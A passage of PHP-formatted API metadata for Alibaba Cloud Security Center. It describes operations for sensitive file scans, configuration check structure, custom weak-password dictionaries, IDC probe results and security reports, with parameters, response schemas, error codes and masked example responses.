'true', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FBBEB173-1F43-505F-A876-C03ECDF6CE4C\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 20\\n },\\n \\"SensitiveFileList\\": [\\n {\\n \\"SensitiveFileKey\\": \\"pem\\",\\n \\"RiskLevel\\": \\"high\\",\\n \\"InternetIp\\": \\"95.214.XX.XX\\",\\n \\"IntranetIp\\": \\"10.68.XX.XX\\",\\n \\"Uuid\\": \\"73e6a851-e63b-49ef-9d7a-5542d765****\\",\\n \\"TargetName\\": \\"SAS_Agentless_171869952****\\",\\n \\"Status\\": 0,\\n \\"InstanceName\\": \\"test-server\\",\\n \\"FirstScanTime\\": 1663321552000,\\n \\"LastScanTime\\": 1663691592000,\\n \\"Md5\\": \\"b484b0dff093f358897486b58266****\\",\\n \\"FilePath\\": \\"/usr/lib/abc.txt\\",\\n \\"Prompt\\": \\"mysql -u -p****\\",\\n \\"Id\\": 423505573\\n }\\n ],\\n \\"Success\\": true\\n}","type":"json"}]', 'title' => 'DescribeAgentlessSensitiveFileByKey', 'description' => 'You can call this operation only when the agentless detection feature is purchased by using the pay-as-you-go billing method within your Alibaba Cloud account.'."\n", ], 'GetCheckStructure' => [ 'summary' => 'Obtains the structure information about check items provided by the configuration assessment feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the asset. Valid values:'."\n" ."\n" .'* cn-hangzhou: China.'."\n" .'* ap-southeast-1: outside China.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'TaskSources', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of task sources.', 'type' => 'array', 'items' => [ 'description' => 'Task source. The value can be:'."\n" .'- **YAO_CHI**: YaoChi', 'type' => 'string', 'required' => false, 'example' => 'YAO_CHI', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'LGetCheckStructureResponse', 'description' => 'LGetCheckStructureResponse'."\n", 'type' => 'object', 'properties' => [ 'CheckStructureResponse' => [ 'description' => 'The structure information about check items provided by the configuration assessment feature.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'StandardType' => [ 'description' => 'The type of the check item.'."\n" ."\n" .'* RISK: security risk.'."\n" .'* IDENTITY_PERMISSION: Cloud Infrastructure Entitlement Management (CIEM).'."\n" .'* COMPLIANCE: security compliance.'."\n", 'type' => 'string', 'example' => 'RISK', ], 'Standards' => [ 'description' => 'The structure information about the check items of the business type.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Requirements' => [ 'description' => 'The standards of the check items.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the requirement item for the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '46', ], 'ShowName' => [ 'description' => 'The display name of the requirement item for the check item.'."\n", 'type' => 'string', 'example' => 'Networking', ], 'TotalCheckCount' => [ 'description' => 'The total number of check items for the requirement.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '36', ], 'Sections' => [ 'description' => 'The information about the sections of check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the section of the check item.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the section for the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '177', ], 'ShowName' => [ 'description' => 'The display name of the section for the check item.'."\n", 'type' => 'string', 'example' => 'Access Control', ], ], ], ], ], 'description' => '', ], ], 'Id' => [ 'description' => 'The standard ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '8', ], 'Type' => [ 'description' => 'The standard type of the check item. Valid values:'."\n" ."\n" .'* RISK: security risk.'."\n" .'* IDENTITY_PERMISSION: CIEM.'."\n" .'* COMPLIANCE: security compliance.'."\n", 'type' => 'string', 'example' => 'IDENTITY_PERMISSION', ], 'ShowName' => [ 'description' => 'The display name of the standard for the check item.'."\n", 'type' => 'string', 'example' => 'Alibaba Cloud best security practices', ], ], 'description' => '', ], ], ], 'description' => '', ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '379a9b8f-107b-4630-9e95-2299a1ea****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CheckStructureResponse\\": [\\n {\\n \\"StandardType\\": \\"RISK\\",\\n \\"Standards\\": [\\n {\\n \\"Requirements\\": [\\n {\\n \\"Id\\": 46,\\n \\"ShowName\\": \\"Networking\\",\\n \\"TotalCheckCount\\": 36,\\n \\"Sections\\": [\\n {\\n \\"Id\\": 177,\\n \\"ShowName\\": \\"Access Control\\"\\n }\\n ]\\n }\\n ],\\n \\"Id\\": 8,\\n \\"Type\\": \\"IDENTITY_PERMISSION\\",\\n \\"ShowName\\": \\"Alibaba Cloud best security practices\\"\\n }\\n ]\\n }\\n ],\\n \\"RequestId\\": \\"379a9b8f-107b-4630-9e95-2299a1ea****\\"\\n}","type":"json"}]', 'title' => 'GetCheckStructure', 'description' => 'You must purchase the configuration assessment feature before you can use the feature.'."\n", 'translator' => 'machine', ], 'DescribeDynamicDictUploadInfo' => [ 'summary' => 'Queries the information about an uploaded Object Storage Service (OSS) object that contains custom weak passwords and is used for baseline checks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '123.103.XX.XX'."\n", ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Key' => [ 'description' => 'The name of the OSS object.'."\n", 'type' => 'string', 'example' => 'DegradePool_Offset_****', ], 'Signature' => [ 'description' => 'The signature that is calculated based on **AccessKeySecret** and **Policy**. When you call an OSS API operation, OSS uses the signature information to check the validity of the POST request.'."\n", 'type' => 'string', 'example' => 'wBiwkhd5LGcLzijtc3FhI****', ], 'Host' => [ 'description' => 'The OSS endpoint.'."\n", 'type' => 'string', 'example' => 'https://aegis-update-static-file.oss-cn-hangzhou.aliyuncs.com', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61***', ], 'Policy' => [ 'description' => 'The OSS security policy.'."\n", 'type' => 'string', 'example' => 'eyJleHBpcmF0aW9uIjoiMjAyNC0wNy0wMlQxMTozMTozMy40MjlaIiwiY29uZGl0aW9********', ], 'Accessid' => [ 'description' => 'The AccessKey ID that is used to access OSS.'."\n", 'type' => 'string', 'example' => 'yourAccessKeyID', ], 'Expire' => [ 'description' => 'The validity period of the signature. The value is a UNIX timestamp.'."\n", 'type' => 'string', 'example' => '1719919893', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'substitutions' => [ 'Sas::2018-12-03::DescribeCustomizedDictUploadInfo', ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Key\\": \\"DegradePool_Offset_****\\",\\n \\"Signature\\": \\"wBiwkhd5LGcLzijtc3FhI****\\",\\n \\"Host\\": \\"https://aegis-update-static-file.oss-cn-hangzhou.aliyuncs.com\\",\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61***\\",\\n \\"Policy\\": \\"eyJleHBpcmF0aW9uIjoiMjAyNC0wNy0wMlQxMTozMTozMy40MjlaIiwiY29uZGl0aW9********\\",\\n \\"Accessid\\": \\"yourAccessKeyID\\",\\n \\"Expire\\": \\"1719919893\\"\\n}","type":"json"}]', 'title' => 'DescribeDynamicDictUploadInfo', ], 'DeleteCustomizeReport' => [ 'summary' => 'Deletes a custom security report.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '91955', 'abilityTreeNodes' => [ 'FEATUREsasAT4UY0', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ReportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the report.'."\n" ."\n" .'> You can call the [DescribeCustomizeReportList](~~DescribeCustomizeReportList~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '90593A3B-85CE-5D87-A430-726D0B87****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"90593A3B-85CE-5D87-A430-726D0B87****\\"\\n}","type":"json"}]', 'title' => 'DeleteCustomizeReport', ], 'DescribeCustomizeReportConfigDetail' => [ 'summary' => 'Obtains the configurations of a security report.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasAT4UY0', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '202.104.XXX.XXX', ], ], [ 'name' => 'ReportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the report.\\'."\n" .'You can call the [DescribeCustomizeReportList](~~271655~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '619031', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'ReportStatus' => [ 'description' => 'The status of the report. Valid values:'."\n" ."\n" .'* **0**: disabled.'."\n" .'* **1**: enabled.'."\n", 'type' => 'string', 'example' => '1', ], 'ReportLang' => [ 'description' => 'The language of the report. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'example' => 'zh', ], 'ChartIds' => [ 'description' => 'The ID of the chart that is included in the report. Multiple IDs are separated by commas (,).'."\n", 'type' => 'string', 'example' => 'BIZ_STAT_QUERY_KEY_ATTACK,CUSTOM_VUL_CVE_LIST,CUSTOM_VUL_SYS_LIST,CUSTOM_VUL_WEBCMS_LIST,CUSTOM_AUTO_BREAKING_PIE,CUSTOM_AK_LEAK_LIST,KEY_HP_TAMPERPROOF,KEY_HP_DEFENCE', ], 'IsDefault' => [ 'description' => 'Indicates whether the report is the default report. Valid values:'."\n" ."\n" .'* **0**: no.'."\n" .'* **1**: yes.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'SendTime' => [ 'description' => 'The time at which the report is sent. The value is in the HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '09:00:00', ], 'ReportId' => [ 'description' => 'The ID of the report.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '663434', ], 'ReportType' => [ 'description' => 'The type of the report. Valid values:'."\n" ."\n" .'* **0**: daily report.'."\n" .'* **1**: weekly report.'."\n" .'* **2**: monthly report.'."\n" .'* **3**: report whose statistics are collected in a custom time range.'."\n", 'type' => 'string', 'example' => '3', ], 'Recipients' => [ 'description' => 'The email address of the recipient. Multiple email addresses are separated by commas (,).'."\n", 'type' => 'string', 'example' => 'PengZheng@eaton.com,ZhongJi@Eaton.com', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '379a9b8f-107b-4630-9e95-2299a1ea****', ], 'ReportSendType' => [ 'description' => 'The time range in which the report is sent. Valid values:'."\n" ."\n" .'* **1**: 00:00 to 06:00.'."\n" .'* **2**: 06:00 to 12:00.'."\n" .'* **3**: 12:00 to 18:00.'."\n" .'* **4**: 18:00 to 24:00.'."\n", 'type' => 'string', 'example' => '2', ], 'ReportEndDate' => [ 'description' => 'The end date on which the report is sent.'."\n", 'type' => 'string', 'example' => '1720022399999', ], 'ReportStartDate' => [ 'description' => 'The start date on which the report is sent.'."\n", 'type' => 'string', 'example' => '1717430400000', ], 'Title' => [ 'description' => 'The title of the report.'."\n", 'type' => 'string', 'example' => 'marketing report', ], 'SendStartTime' => [ 'description' => 'The start time at which the report is sent. The value is in the HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '09:00:00', ], 'SendEndTime' => [ 'description' => 'The end time at which the report is sent. The value is in the HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '10:00:00', ], 'PinnedTime' => [ 'description' => 'The time when the report is pinned.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1717430400000', ], 'ReportDays' => [ 'description' => 'The most recent days for report statistics.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'SendPeriodType' => [ 'description' => 'The interval at which the report is sent. Valid values:'."\n" ."\n" .'* **DAY**'."\n" .'* **WEEK**'."\n" .'* **MONTH**'."\n", 'type' => 'string', 'example' => 'MONTH', ], 'SendPeriodDays' => [ 'description' => 'The exact day within the sending period.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '12', ], 'TargetUids' => [ 'description' => 'The ID of the Alibaba Cloud account. Multiple IDs are separated by commas (,).'."\n", 'type' => 'string', 'example' => '1457515594445744,1600011353839072,1766185894104675,1674080148055995,1627510829033157', ], 'GroupType' => [ 'description' => 'The grouping type. Valid values:'."\n" ."\n" .'* **ALIYUN_RG**'."\n" .'* **SAS_GROUP**'."\n", 'type' => 'string', 'example' => 'SAS_GROUP', ], 'TargetGroups' => [ 'description' => 'The groups.'."\n", 'type' => 'string', 'example' => '12125884,12140191', ], 'MemberAccountSyncFlag' => [ 'description' => 'Whether the new account is connected by default. Values:'."\n" .'- **true**: Yes.'."\n" .'- **false**: No.'."\n" .'> Only supported in version 2.0.0.', 'type' => 'boolean', 'example' => 'true', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ReportStatus\\": \\"1\\",\\n \\"ReportLang\\": \\"zh\\",\\n \\"ChartIds\\": \\"BIZ_STAT_QUERY_KEY_ATTACK,CUSTOM_VUL_CVE_LIST,CUSTOM_VUL_SYS_LIST,CUSTOM_VUL_WEBCMS_LIST,CUSTOM_AUTO_BREAKING_PIE,CUSTOM_AK_LEAK_LIST,KEY_HP_TAMPERPROOF,KEY_HP_DEFENCE\\",\\n \\"IsDefault\\": 1,\\n \\"SendTime\\": \\"09:00:00\\",\\n \\"ReportId\\": 663434,\\n \\"ReportType\\": \\"3\\",\\n \\"Recipients\\": \\"PengZheng@eaton.com,ZhongJi@Eaton.com\\",\\n \\"RequestId\\": \\"379a9b8f-107b-4630-9e95-2299a1ea****\\",\\n \\"ReportSendType\\": \\"2\\",\\n \\"ReportEndDate\\": \\"1720022399999\\",\\n \\"ReportStartDate\\": \\"1717430400000\\",\\n \\"Title\\": \\"marketing report\\",\\n \\"SendStartTime\\": \\"09:00:00\\",\\n \\"SendEndTime\\": \\"10:00:00\\",\\n \\"PinnedTime\\": 1717430400000,\\n \\"ReportDays\\": 30,\\n \\"SendPeriodType\\": \\"MONTH\\",\\n \\"SendPeriodDays\\": 12,\\n \\"TargetUids\\": \\"1457515594445744,1600011353839072,1766185894104675,1674080148055995,1627510829033157\\",\\n \\"GroupType\\": \\"SAS_GROUP\\",\\n \\"TargetGroups\\": \\"12125884,12140191\\",\\n \\"MemberAccountSyncFlag\\": true\\n}","type":"json"}]', 'title' => 'DescribeCustomizeReportConfigDetail', 'translator' => 'machine', ], 'DescribeDynamicDict' => [ 'summary' => 'Queries custom weak password rules for the baseline check feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '101.204.XX.XX'."\n", ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'OssUrl' => [ 'description' => 'The IP address of the Object Storage Service (OSS) object.'."\n", 'type' => 'string', 'example' => 'cloudtest01/661767e1-5ae3-4ec5-865f-03039436893a/sacc2*****', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61****', ], 'Limit' => [ 'description' => 'The maximum number of weak password rules that can be added.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], 'Count' => [ 'description' => 'The number of weak password rules that are added.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'FileName' => [ 'description' => 'The name of the OSS object that contains custom weak passwords.'."\n", 'type' => 'string', 'example' => 'test_dict.plain', ], 'UploadTime' => [ 'description' => 'The timestamp when the OSS object was uploaded. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1719919421', ], 'FileSize' => [ 'description' => 'The size of the OSS object. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '40', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'substitutions' => [ 'Sas::2018-12-03::DescribeCustomizedDict', ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"OssUrl\\": \\"cloudtest01/661767e1-5ae3-4ec5-865f-03039436893a/sacc2*****\\",\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61****\\",\\n \\"Limit\\": 9,\\n \\"Count\\": 1,\\n \\"FileName\\": \\"test_dict.plain\\",\\n \\"UploadTime\\": 1719919421,\\n \\"FileSize\\": 40\\n}","type":"json"}]', 'title' => 'DescribeDynamicDict', ], 'DescribeIdcProbeScanResultList' => [ 'summary' => 'Queries assets that are identified by Internet Data Center (IDC) probes.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The search conditions for assets. This parameter is in the JSON format. The value is case-sensitive.'."\n" ."\n" .'> A search condition can be the instance ID, instance name, VPC ID, region, or public IP address. You can call the [DescribeIdcAssetCriteria](~~2842671~~) operation to query supported search conditions.', 'type' => 'string', 'required' => false, 'example' => '[{\\"name\\":\\"scannedIp\\",\\"value\\":\\"192.168.2.11\\"}]', ], ], [ 'name' => 'LogicalExp', 'in' => 'query', 'schema' => [ 'description' => 'The logical operator that combines multiple search conditions. Valid values:'."\n" ."\n" .'* **OR******'."\n" .'* **AND******'."\n", 'type' => 'string', 'required' => false, 'example' => 'OR', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The statuses of the corresponding probes. Separate multiple values with commas (,). Valid values:'."\n" ."\n" .'* **0**: The probe is valid.'."\n" .'* **1**: The probe is ignored.'."\n" .'* **2**: The probe is invalid.'."\n" .'* **3**: The probe expired.'."\n" .'* **4**: The probe does not exist.', 'type' => 'string', 'required' => false, 'example' => '0,1', ], ], [ 'name' => 'FoundStartTime', 'in' => 'query', 'schema' => [ 'description' => 'The start time of the scan.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1720006818000', ], ], [ 'name' => 'FoundEndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end time of the scan.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1720006819000', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], ], ], 'Instances' => [ 'description' => 'The instances.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The instance.'."\n", 'type' => 'object', 'properties' => [ 'ValidPort' => [ 'description' => 'The port that is scanned.'."\n", 'type' => 'string', 'example' => '22', ], 'ProbeIntranetIp' => [ 'description' => 'The private IP address of the associated instance.'."\n", 'type' => 'string', 'example' => '192.168.*.*', ], 'Os' => [ 'description' => 'The operating system type of the asset. Valid values:'."\n" ."\n" .'* **windows**'."\n" .'* **linux**'."\n", 'type' => 'string', 'example' => 'Linux', ], 'ClientStatus' => [ 'description' => 'The status of the client of the instance on which the probe is installed. Valid values:'."\n" ."\n" .'* **online**: The Security Center agent on the asset is **enabled**.'."\n" .'* **offline**: The Security Center agent on the asset is **disabled**.'."\n", 'type' => 'string', 'example' => 'online', ], 'ProbeInternetIp' => [ 'description' => 'The private IP address of the associated instance.'."\n", 'type' => 'string', 'example' => '42.121.*.*', ], 'LastScanTime' => [ 'description' => 'The timestamp when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1720006818000', ], 'IpSegment' => [ 'description' => 'The CIDR blocks.'."\n", 'type' => 'string', 'example' => '192.168.2.0/24', ], 'ProbeMachineName' => [ 'description' => 'The name of the associated instance.'."\n", 'type' => 'string', 'example' => 'i-xxxx', ], 'ScannedIp' => [ 'description' => 'The IP address that is scanned.'."\n", 'type' => 'string', 'example' => '192.168.*.*', ], 'ProbeUuid' => [ 'description' => 'The UUID of the associated instance.'."\n", 'type' => 'string', 'example' => '11C96623-E106-59C9-866D-A6C82911****'."\n", ], 'IdcName' => [ 'description' => 'The name of the IDC.'."\n", 'type' => 'string', 'example' => 'Test', ], 'ScanResultId' => [ 'description' => 'The ID of the scan result.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1231', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 9\\n },\\n \\"Instances\\": [\\n {\\n \\"ValidPort\\": \\"22\\",\\n \\"ProbeIntranetIp\\": \\"192.168.*.*\\",\\n \\"Os\\": \\"Linux\\",\\n \\"ClientStatus\\": \\"online\\",\\n \\"ProbeInternetIp\\": \\"42.121.*.*\\",\\n \\"LastScanTime\\": 1720006818000,\\n \\"IpSegment\\": \\"192.168.2.0/24\\",\\n \\"ProbeMachineName\\": \\"i-xxxx\\",\\n \\"ScannedIp\\": \\"192.168.*.*\\",\\n \\"ProbeUuid\\": \\"11C96623-E106-59C9-866D-A6C82911****\\\\n\\",\\n \\"IdcName\\": \\"3K机房广州\\",\\n \\"ScanResultId\\": 1231\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeIdcProbeScanResultList', ], 'DescribeSupervisonInfo' => [ 'summary' => 'Queries the time when a system vulnerability was last detected.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '92211', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'E10BAF1C-A6C5-51E2-866C-76D5922E****', ], 'LatestScanTime' => [ 'description' => 'The time of the last system vulnerability scan. The value is a UNIX timestamp. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1721134553000', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E10BAF1C-A6C5-51E2-866C-76D5922E****\\",\\n \\"LatestScanTime\\": 1721134553000\\n}","type":"json"}]', 'title' => 'DescribeSupervisonInfo', ], 'ExportCustomizeReport' => [ 'summary' => 'Exports a security report.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92282', 'abilityTreeNodes' => [ 'FEATUREsasAT4UY0', ], ], 'parameters' => [ [ 'name' => 'ReportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the security report.'."\n" ."\n" .'> You can call the [DescribeCustomizeReportList](~~DescribeCustomizeReportList~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1', ], ], [ 'name' => 'ExportType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the security report that you want to export. Valid values:'."\n" ."\n" .'* **HTML**'."\n" .'* **PDF**'."\n" ."\n" .'> The default value is HTML. PDF is supported only for security reports in version 2.0.0.'."\n", 'type' => 'string', 'required' => false, 'example' => 'HTML', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The 